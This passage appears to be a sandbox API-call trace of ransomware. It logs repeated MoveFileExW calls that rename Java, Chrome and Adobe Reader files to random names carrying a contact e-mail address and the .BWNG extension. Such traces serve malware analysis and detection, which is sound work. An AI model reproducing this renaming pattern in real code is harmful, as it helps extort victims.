"c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-14"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].OQZdCAlZ-IlwfTFC2.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].oqzdcalz-ilwftfc2.bwng"), dwFlags=0x1) returned 1 [0112.479] GetTickCount () returned 0x1163c55 [0112.479] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25443164476) returned 1 [0112.480] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UTC" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\utc"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].0U5WZRVE-s10nR3Pr.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].0u5wzrve-s10nr3pr.bwng"), dwFlags=0x1) returned 1 [0112.481] GetTickCount () returned 0x1163c55 [0112.481] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25443311421) returned 1 [0112.481] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ja.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ja.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].VA7Qxv4K-MMKRMDig.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].va7qxv4k-mmkrmdig.bwng"), dwFlags=0x1) returned 1 [0112.482] GetTickCount () returned 0x1163c55 [0112.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25443458461) returned 1 [0112.483] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pl.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pl.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].d2oQWI7L-L5dCFs8r.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].d2oqwi7l-l5dcfs8r.bwng"), dwFlags=0x1) returned 1 [0112.484] GetTickCount () returned 0x1163c55 [0112.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25443593008) returned 1 [0112.484] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ta.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].3nJYeAIK-Q8B3N37h.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].3njyeaik-q8b3n37h.bwng"), dwFlags=0x1) returned 1 [0112.485] GetTickCount () returned 0x1163c55 [0112.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25443725627) returned 1 [0112.485] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DigSig.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\digsig.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\[billwong73@yahoo.com].v912qD9t-l0e1WePZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\[billwong73@yahoo.com].v912qd9t-l0e1wepz.bwng"), dwFlags=0x1) returned 1 [0112.486] GetTickCount () returned 0x1163c55 [0112.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25443873174) returned 1 [0112.487] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\ReadOutLoud.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\readoutloud.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\[billwong73@yahoo.com].AiMa5XAz-J0T4xZNT.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\[billwong73@yahoo.com].aima5xaz-j0t4xznt.bwng"), dwFlags=0x1) returned 1 [0112.488] GetTickCount () returned 0x1163c55 [0112.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25444008811) returned 1 [0112.488] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\accessibility.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\accessibility.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].7GmgLWEV-HrbEXn7F.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].7gmglwev-hrbexn7f.bwng"), dwFlags=0x1) returned 1 [0112.489] GetTickCount () returned 0x1163c55 [0112.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25444146722) returned 1 [0112.489] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\IA32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\ia32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].Do0CZkUA-Y3jB9ZXP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].do0czkua-y3jb9zxp.bwng"), dwFlags=0x1) returned 1 [0112.490] GetTickCount () returned 0x1163c55 [0112.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25444273885) returned 1 [0112.491] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SendMail.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\sendmail.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].lQAPcetv-4BsFtRCt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].lqapcetv-4bsftrct.bwng"), dwFlags=0x1) returned 1 [0112.492] GetTickCount () returned 0x1163c55 [0112.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25444391302) returned 1 [0112.492] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\BRdlang32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\brdlang32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].f1rv4XXz-6b2qYFZA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].f1rv4xxz-6b2qyfza.bwng"), dwFlags=0x1) returned 1 [0112.493] GetTickCount () returned 0x1163c65 [0112.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25444530530) returned 1 [0112.493] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].o0qQcwqE-PDELrp1Z.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].o0qqcwqe-pdelrp1z.bwng"), dwFlags=0x1) returned 1 [0112.495] GetTickCount () returned 0x1163c65 [0112.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25444679757) returned 1 [0112.495] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cfr.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cfr.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].X8aBx6U2-5rAXQh0s.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].x8abx6u2-5raxqh0s.bwng"), dwFlags=0x1) returned 1 [0112.496] GetTickCount () returned 0x1163c65 [0112.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25444819627) returned 1 [0112.496] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\PPKLITE.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\ppklite.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].XfEqUCPH-UNBkvGf0.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].xfequcph-unbkvgf0.bwng"), dwFlags=0x1) returned 1 [0112.587] GetTickCount () returned 0x1163cc3 [0112.587] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25453960332) returned 1 [0112.588] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\cze108.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\cze108.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].RCfqVhvd-E6LpMrlg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].rcfqvhvd-e6lpmrlg.bwng"), dwFlags=0x1) returned 1 [0112.589] GetTickCount () returned 0x1163cc3 [0112.589] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25454147858) returned 1 [0112.590] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\updater.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\updater.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].IVHrEo8i-eJamWCjh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].ivhreo8i-ejamwcjh.bwng"), dwFlags=0x1) returned 1 [0112.591] GetTickCount () returned 0x1163cc3 [0112.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25454286342) returned 1 [0112.591] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].BNorBVYZ-7v2rKv50.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].bnorbvyz-7v2rkv50.bwng"), dwFlags=0x1) returned 1 [0112.592] GetTickCount () returned 0x1163cc3 [0112.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25454443667) returned 1 [0112.592] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\eBook.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ebook.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].WzPhLiEG-J2bhbbU5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].wzphlieg-j2bhbbu5.bwng"), dwFlags=0x1) returned 1 [0112.594] GetTickCount () returned 0x1163cc3 [0112.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25454586929) returned 1 [0112.594] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SaveAsRTF.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\saveasrtf.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].WhtRIlrO-2VdA4E1N.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].whtrilro-2vda4e1n.bwng"), dwFlags=0x1) returned 1 [0112.595] GetTickCount () returned 0x1163cc3 [0112.595] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25454720209) returned 1 [0112.595] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].26K69W6O-bN0bMklF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].26k69w6o-bn0bmklf.bwng"), dwFlags=0x1) returned 1 [0112.596] GetTickCount () returned 0x1163cc3 [0112.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25454845438) returned 1 [0112.596] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun109.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun109.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].uNsfcrG1-U7dRXmTW.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].unsfcrg1-u7drxmtw.bwng"), dwFlags=0x1) returned 1 [0112.598] GetTickCount () returned 0x1163cc3 [0112.598] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25454984797) returned 1 [0112.598] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\AdobeCollabSync.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\adobecollabsync.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].NzVP15og-e61dTQjc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].nzvp15og-e61dtqjc.bwng"), dwFlags=0x1) returned 1 [0112.683] GetTickCount () returned 0x1163d20 [0112.683] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25463501681) returned 1 [0112.683] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lavphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lavphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].HtzPG4Kg-dmwLFnM8.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].htzpg4kg-dmwlfnm8.bwng"), dwFlags=0x1) returned 1 [0112.684] GetTickCount () returned 0x1163d20 [0112.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25463675442) returned 1 [0112.685] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\fin32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\fin32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].om5pHI5W-s69Qy2VF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].om5phi5w-s69qy2vf.bwng"), dwFlags=0x1) returned 1 [0112.686] GetTickCount () returned 0x1163d20 [0112.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25463810292) returned 1 [0112.686] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].TieHzXuZ-JUUzcBvw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].tiehzxuz-juuzcbvw.bwng"), dwFlags=0x1) returned 1 [0112.687] GetTickCount () returned 0x1163d20 [0112.687] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25463958694) returned 1 [0112.688] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\tnameserv.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\tnameserv.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\[billwong73@yahoo.com].P7ERmJDT-HAQskevz.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\[billwong73@yahoo.com].p7ermjdt-haqskevz.bwng"), dwFlags=0x1) returned 1 [0112.689] GetTickCount () returned 0x1163d20 [0112.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25464099690) returned 1 [0112.689] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre110.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre110.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].J68TVFMg-kvgeWlmF.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].j68tvfmg-kvgewlmf.bwng"), dwFlags=0x1) returned 1 [0112.690] GetTickCount () returned 0x1163d20 [0112.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25464261242) returned 1 [0112.691] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\linear_rgb.pf"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].NVdDyANy-aR9GWB9e.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\cmm\\[billwong73@yahoo.com].nvddyany-ar9gwb9e.bwng"), dwFlags=0x1) returned 1 [0112.692] GetTickCount () returned 0x1163d20 [0112.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25464393549) returned 1 [0112.692] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he_il.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Rm0qMqRD-ZUHQP9ex.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].rm0qmqrd-zuhqp9ex.bwng"), dwFlags=0x1) returned 1 [0112.693] GetTickCount () returned 0x1163d20 [0112.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25464526318) returned 1 [0112.693] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].TfhSzowN-IAckT3tA.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].tfhszown-iackt3ta.bwng"), dwFlags=0x1) returned 1 [0112.694] GetTickCount () returned 0x1163d20 [0112.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25464664374) returned 1 [0112.695] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Multimedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\multimedia.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].qBo30cyC-GoiiQGzu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].qbo30cyc-goiiqgzu.bwng"), dwFlags=0x1) returned 1 [0112.696] GetTickCount () returned 0x1163d30 [0112.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25464814474) returned 1 [0112.696] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Services\\[billwong73@yahoo.com].rEWZDMr4-wM7slABd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\services\\[billwong73@yahoo.com].rewzdmr4-wm7slabd.bwng"), dwFlags=0x1) returned 1 [0112.698] GetTickCount () returned 0x1163d30 [0112.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25465128115) returned 1 [0112.699] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\messages_fr.properties"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].EBET9J9I-5HY5lvLQ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\[billwong73@yahoo.com].ebet9j9i-5hy5lvlq.bwng"), dwFlags=0x1) returned 1 [0112.701] GetTickCount () returned 0x1163d30 [0112.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25465287795) returned 1 [0112.701] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].d4IoBFUN-Wm5iCxbp.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].d4iobfun-wm5icxbp.bwng"), dwFlags=0x1) returned 1 [0112.702] GetTickCount () returned 0x1163d30 [0112.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25465435415) returned 1 [0112.702] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DigSig.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\digsig.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].kTIqXDmg-G91R0WR5.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].ktiqxdmg-g91r0wr5.bwng"), dwFlags=0x1) returned 1 [0112.703] GetTickCount () returned 0x1163d30 [0112.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25465572623) returned 1 [0112.704] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ja_JP.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ja_jp.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].X13FawUC-qXT4ETNi.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].x13fawuc-qxt4etni.bwng"), dwFlags=0x1) returned 1 [0112.705] GetTickCount () returned 0x1163d30 [0112.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=25465729310) returned 1 [0112.705] MoveFileExW (lpExistingFileName="C:\\Program 